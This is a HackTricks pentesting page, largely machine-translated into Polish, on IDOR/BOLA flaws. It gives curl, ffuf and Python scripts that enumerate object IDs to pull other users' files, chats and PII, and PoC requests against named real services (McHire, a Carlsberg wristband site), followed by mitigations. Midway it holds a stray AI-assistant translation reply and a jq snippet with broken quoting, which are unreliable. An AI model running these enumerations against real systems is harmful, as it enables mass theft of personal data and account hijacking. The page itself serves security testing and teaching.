IDOR (Insecure Direct Object Reference)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojawia się, gdy web lub API endpoint ujawnia lub przyjmuje identyfikator kontrolowany przez użytkownika, który jest używany bezpośrednio do dostępu do wewnętrznego obiektu bez weryfikacji, czy wywołujący jest uprawniony do dostępu/zmiany tego obiektu. Udana eksploatacja zazwyczaj pozwala na poziomą lub pionową eskalację uprawnień, np. odczyt lub modyfikację danych innych użytkowników, a w najgorszym wypadku pełne przejęcie konta lub masową eksfiltrację danych.
1. Identifying Potential IDORs
- Look for parameters that reference an object:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Prefer endpoints that read or update data (
GET,PUT,PATCH,DELETE). - Note when identifiers are sequential or predictable – if your ID is
64185742, then64185741probably exists. - Explore hidden or alternate flows (e.g. “Paradox team members” link in login pages) that might expose extra APIs.
- Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Zautomatyzowana enumeracja (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumeracja przewidywalnych ID pobrań (ffuf)
Panele hostingu plików wymagające uwierzytelnienia często przechowują metadane dla użytkowników w pojedynczej tabeli files i udostępniają endpoint pobierania taki jak /download.php?id=<int>. Jeśli handler sprawdza jedynie, czy ID istnieje (a nie, czy należy do uwierzytelnionego użytkownika), możesz przeskanować przestrzeń wartości całkowitych używając ważnego session cookie i wykraść backups/configs innych tenantów:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frusuwa szablony w stylu 404, więc pozostają tylko prawdziwe trafienia (np. IDs 54/150 leaking full site backups and signing material).- Ten sam FFUF workflow działa z Burp Intruder lub pętlą curl — upewnij się tylko, że pozostajesz zalogowany podczas zwiększania IDs.
Uwierzytelniona kombinatoryczna enumeracja (ffuf + jq)
Niektóre IDORs akceptują multiple object IDs (np. chat threads między dwoma użytkownikami). Jeśli aplikacja sprawdza tylko, że jesteś zalogowany, możesz fuzzować oba IDs, zachowując swój session cookie:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
I don’t have access to your repository — please paste the contents of src/pentesting-web/idor.md here so I can translate it.
Meanwhile, to post-process JSON to remove symmetric duplicate pairs ([“A”,“B”] vs [“B”,“A”]) and keep only unique pairs, use this jq one-liner (for a top-level JSON array of 2-element arrays):
jq ‘unique_by(if type==“array” and length==2 then ([.[0], .[1]] | sort | @json) else @json end)’ input.json
- It canonicalizes each pair by sorting its two elements, uses that as the uniqueness key, and keeps the first occurrence of each unique pair.
- If your pairs are objects like {“from”:“A”,“to”:“B”}, tell me the exact shape and I’ll give the appropriate jq filter.
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Error-response oracle for user/file enumeration
Gdy endpoint do pobierania akceptuje zarówno parametr username, jak i parametr filename (np. /view.php?username=<u>&file=<f>), drobne różnice w komunikatach o błędach często tworzą oracle:
- Nieistniejący username → “User not found”
- Błędny filename, ale prawidłowe rozszerzenie → “File does not exist” (czasami również wypisuje dostępne pliki)
- Błędne rozszerzenie → błąd walidacji
Mając dowolną uwierzytelnioną sesję, możesz fuzzować parametr username, używając nieszkodliwego filename i filtrować po ciągu “user not found”, aby odkryć prawidłowych użytkowników:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Gdy tylko zidentyfikujesz poprawne nazwy użytkowników, żądaj bezpośrednio konkretnych plików (np. /view.php?username=amanda&file=privacy.odt). Ten wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników i wycieku poświadczeń.
2. Studium przypadku z rzeczywistego świata – platforma chatbot McHire (2025)
Podczas oceny portalu rekrutacyjnego McHire opartego na Paradox.ai odkryto następujący IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: cookie sesji użytkownika dla dowolnego konta testowego restauracji
- Body parameter:
{"lead_id": N}– 8-cyfrowy, sekwencyjny identyfikator numeryczny
Zmniejszając wartość lead_id tester uzyskał dostęp do dowolnych kandydatów — pełnego PII (imię, e-mail, telefon, adres, preferencje zmianowe) oraz konsumenckiego JWT, który umożliwił session hijacking. Enumeracja zakresu 1 – 64,185,742 ujawniła w przybliżeniu 64 miliony rekordów.
Przykładowe żądanie Proof-of-Concept:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
W połączeniu z default admin credentials (123456:123456) które umożliwiały dostęp do konta testowego, luka doprowadziła do krytycznego, obejmującego całą firmę wycieku danych.
Case Study – Wristband QR codes as weak bearer tokens (2025–2026)
Flow: Uczestnicy wystawy otrzymywali opaski z kodami QR; skanowanie https://homeofcarlsberg.com/memories/ powodowało, że przeglądarka pobierała wydrukowane wristband ID, kodowała je w hex i wywoływała backend cloudfunctions.net, aby pobrać zapisane media (photos/videos + names). Nie było session binding ani uwierzytelniania użytkownika — znajomość ID = autoryzacja.
Predictability: Wristband IDs miały krótki wzorzec, np. C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Przestrzeń kluczy oszacowano na ~26M kombinacji, co było trywialne do wyczerpania online.
Exploitation workflow with Burp Intruder:
- Payload generation: Wygeneruj potencjalne ID (np.
[A-Z]-###-###). Użyj Burp Intruder Pitchfork lub Cluster Bomb z pozycjami dla litery i cyfr. Dodaj payload processing rule → Add prefix/suffix → payload encoding: ASCII hex, aby każde żądanie przesyłało ciąg hex oczekiwany przez backend. - Response grep: Oznacz w Intruder grep-match markery obecne tylko w prawidłowych odpowiedziach (np. media URLs/JSON fields). Nieprawidłowe ID zwykle zwracały pustą tablicę/404.
- Throughput measurement: Około 1,000,000 ID przetestowano w ~2 godziny z laptopa (~139 req/s). Przy tym tempie pełna przestrzeń kluczy (~26M) zostałaby wyczerpana w ~52 godziny. Przykładowy przebieg ujawnił już ~500 prawidłowych wristbands (videos + full names).
- Rate-limiting verification: Po tym, jak vendor twierdził wprowadzenie throttlingu, uruchom ponownie tę samą konfigurację Intruder. Identyczny throughput/hit-rate udowodnił, że kontrola była nieobecna/nieefektywna; enumeracja trwała bez przeszkód.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lekcja: Encoding (ASCII→hex/Base64) does not add entropy; short IDs become bearer tokens that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.
3. Skutki IDOR / BOLA
- Escalacja horyzontalna – odczyt/aktualizacja/usunięcie innych użytkowników danych.
- Escalacja wertykalna – użytkownik o niskich uprawnieniach uzyskuje funkcjonalność dostępną tylko dla administratora.
- Masowe naruszenie danych jeśli identyfikatory są sekwencyjne (e.g., applicant IDs, invoices).
- Przejęcie konta przez kradzież tokenów lub resetowanie haseł innych użytkowników.
4. Mitigations & Best Practices
- Enforce object-level authorization on every request (
user_id == session.user). - Prefer indirect, unguessable identifiers (UUIDv4, ULID) instead of auto-increment IDs.
- Perform authorization server-side, never rely on hidden form fields or UI controls.
- Implement RBAC / ABAC checks in a central middleware.
- Add rate-limiting & logging to detect enumeration of IDs.
- Security test every new endpoint (unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


